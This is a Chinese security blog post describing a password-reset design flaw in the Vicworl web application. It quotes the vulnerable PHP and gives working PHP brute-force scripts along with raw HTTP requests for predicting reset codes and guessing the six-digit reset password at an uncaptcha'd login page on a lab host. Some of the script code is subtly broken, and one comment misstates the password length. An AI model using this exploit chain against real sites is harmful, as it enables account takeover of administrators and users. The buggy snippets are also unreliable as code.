Vicworl 设计缺陷,重置任意用户密码

这个算得上是设计的缺陷吧,但是理由比较蛋疼

在文件fapassword.php里面看到取回密码的过程如下

				sql_exec( "delete from `".$tablepre."forgetcode` where `datetime`<".( time( ) - 86400 ) );
				$tpl->assign( "scriptTEXT", "" );
				$username = trim( $username );
				$email = trim( $email );
				if ( ereg( "^[^ '\\\"\\.;`]+\$", $username ) )  //对非符号进行匹配
				{
				}
				if ( !checklen( $username, 4, 20 ) )   //限制长度4-20个字节

				if ( !checklen( $email, 6, 100 ) )	//限制长度6-100个字节

				$obj = sql_query( "select * from `".$tablepre."user` where `username` = '{$username}' and `email` = '{$email}'" );
				if ( 0 < $obj->rowCount( ) )
				{
								$rs = $obj->fetch( );  //分割数组
								$uid = $rs['uid'];
								$email = $rs['email'];
								srand( ( double )microtime( ) * 1000000 );
								$code = rand( 10000, 99999 );
								$code .= $username;
								$code .= time( );
								$code = rand( 10000, 99999 ).$username.$time( );
								//再对其进行sha1加密,可以考虑暴力破解
								$code = sha1( $code );
								if ( sql_exec( "insert into `".$tablepre."forgetcode` values(NULL, '{$code}', {$uid}, '{$email}', ".time( ).")" ) )  //插入数据库,等待查询
								{
												$tmpTitle = iconv( "utf-8", "gb2312", $_VCACHE['setting']['sitename']." - 密码找回确认" );
												$tmpBody = iconv( "utf-8", "gb2312", "请点击以下链接确认修改您的密码(24小时内有效)\nhttp://".$host."/checkpasscode.php?code={$code}&uid={$uid}" );  //code可以生产,uid可以查询到

取回密码仅仅是需要验证{$username}以及{$email}即可。这个恰恰是可以在info.php里面查询到。再来看它生产code的方式

$code = rand( 10000, 99999 );$code .= $username;$code .= time( );$code = sha1( $code );	

然后就直接存入数据库了。

sql_exec( "insert into `".$tablepre."forgetcode` values(NULL, '{$code}', {$uid}, '{$email}', ".time( ).")" ) 

然后就是如果有效的,就发送出去
tmpBody = iconv( "utf-8", "gb2312", "请点击以下链接确认修改您的密码(24小时内有效)\nhttp://".$host."/checkpasscode.php?code={$code}&uid={$uid}" ); //code可以生产,uid可以查询到

而checkpasscode.php里面检测的是我们传过去的code还有uid

$obj = sql_query( "select * from `".$tablepre."forgetcode` where `code` = '{$code}' and `uid` = {$uid}" );
if ( 0 < $obj->rowCount( ) )
{
	$rs = $obj->fetch( );
	srand( ( double )microtime( ) * 1000000 );
	$password = rand( 100000, 999999 );  //重新随机生成8位数字密码
	if ( sql_exec( "update `".$tablepre."user` set `password` = '".md5( $password ).( "' where `uid` = ".$uid ) ) )
	$email = get_one_column( "SELECT `email` FROM `".$tablepre."user` WHERE `uid`='{$uid}'" );
	$tmpTitle = iconv( "utf-8", "gb2312", $_VCACHE['setting']['sitename']." - 密码找回" );
	$tmpBody = iconv( "utf-8", "gb2312", "您的新密码为:".$password );
}

所以我们完全可以在本地构造一个取回密码的请求,同时在提交的时候,记录下当时提交的时间。

<?php
$host="192.168.1.104";
$username="admin";
$email="admin@localhost";

$url = "http://".$host."/fpassword.php";
// 参数数组
$data ="username=".$username."&step=1&email=".$email;
function curl($host,$data){
	$ch = curl_init ();
	curl_setopt ( $ch, CURLOPT_URL, $host );
	curl_setopt ( $ch, CURLOPT_POST, 1 );
	curl_setopt ( $ch, CURLOPT_HEADER, 0 );
	curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, 1 );
	curl_setopt ( $ch, CURLOPT_POSTFIELDS, $data );
	$return = curl_exec ( $ch );
	curl_close ( $ch );
	echo time()."\n\r"; 
	}
//$code = rand(10000,99999);
for ($code=10000;$code<99999;$code++){
	$codede=sha1($code.$username.curl($url,$data));
		echo "\r\n";
		echo $codede;
	}
?>

然后把生成出来的拿来对
http://".$host."/checkpasscode.php?code=".$codede."&uid=".$uid;
里面的code进行填充,先来看看数据库里面的
code
一旦发现状态码为200并且返回的数据比较大,就可以重新爆破密码了。因为这里的密码是

$password = rand( 100000, 999999 );  //重新随机生成8位数字密码

所以,是可以直接爆破的

首先来收集信息以及获取提交的时间
info
然后等待获取执行的时间
time
获取到时间了,就直接利用脚本来生成我们需要的code

<?php
$username="admin";
for ($code=10000;$code<99999;$code++){
	$codede=sha1($code.$username."1428655846");
		echo "\r\n";
		echo $codede;
	}
?>

然后我们到/checkpasscode.php这里去提交

GET /checkpasscode.php?code=fbccd430e54d3573995d977ff89303efb10181bc&uid=1 HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Accept-Language: zh-cn
UA-CPU: x86
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)
Host: 192.168.1.104

burp

burp2

一旦匹配到了,立马就发现了密码修改了
new

因为这里匹配到了,提示的是

								if ( sql_exec( "insert into `".$tablepre."forgetcode` values(NULL, '{$code}', {$uid}, '{$email}', ".time( ).")" ) )  //插入数据库,等待查询
								{
												$tmpTitle = iconv( "utf-8", "gb2312", $_VCACHE['setting']['sitename']." - 密码找回确认" );
												$tmpBody = iconv( "utf-8", "gb2312", "请点击以下链接确认修改您的密码(24小时内有效)\nhttp://".$host."/checkpasscode.php?code={$code}&uid={$uid}" );  //code可以生产,uid可以查询到
												if ( $_VCACHE['setting']['sendmail'] == 1 )
												{
																ini_set( "sendmail_from", $_VCACHE['setting']['sendmail_from'] );
																ini_set( "sendmail_path", $_VCACHE['setting']['sendmail_path'] );
																mail( $email, $tmpTitle, $tmpBody );
												}
												else if ( $_VCACHE['setting']['sendmail'] == 2 )
												{
																$sm = new smail( $_VCACHE['setting']['smtp_username'], $_VCACHE['setting']['smtp_password'], $_VCACHE['setting']['smtp_server'] );
																$end = $sm->send( $email, $_VCACHE['setting']['smtp_username'], $tmpTitle, $tmpBody );
												}
												$tpl->assign( "scriptTEXT", "" );
												message( $lang['sysinfo'], "请登陆您的邮箱查收邮件,点击链接修改您的密码!" );
								}

直接跑到邮箱去了...所以,就算我们爆破到了这个code还是没有办法登录。但是因为这里的登录是没有验证码啥的。可以直接爆破,而密码又是随机8位。这里也是可以进行爆破的

<?php
for ($i=100000;i<999999;i++) {
echo "\r\n";
echo $i;
?>

把生成保存出来的继续拿来爆破,在登录验证的时候发现并没有验证码啥的

POST: /login.php HTTP/1.1
Host: 192.168.1.104
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://192.168.1.104/login.php
Cookie: CNZZDATA4654384=cnzz_eid%3D1699183875-1428620377-%26ntime%3D1428651685; PHPSESSID=36an60hf33vldhprvuo27rdqv2
Content-Type: application/x-www-form-urlencoded
Content-Length: 49

username=admin&password=adminadi&step=1

然后再次Burp就好了。

PS:这里的两个都是缺一不可啊。首先如果不是code的设计缺陷,就没有办法对其进行匹配。如果第二步的密码不是纯数字。也增加了难道。

发表评论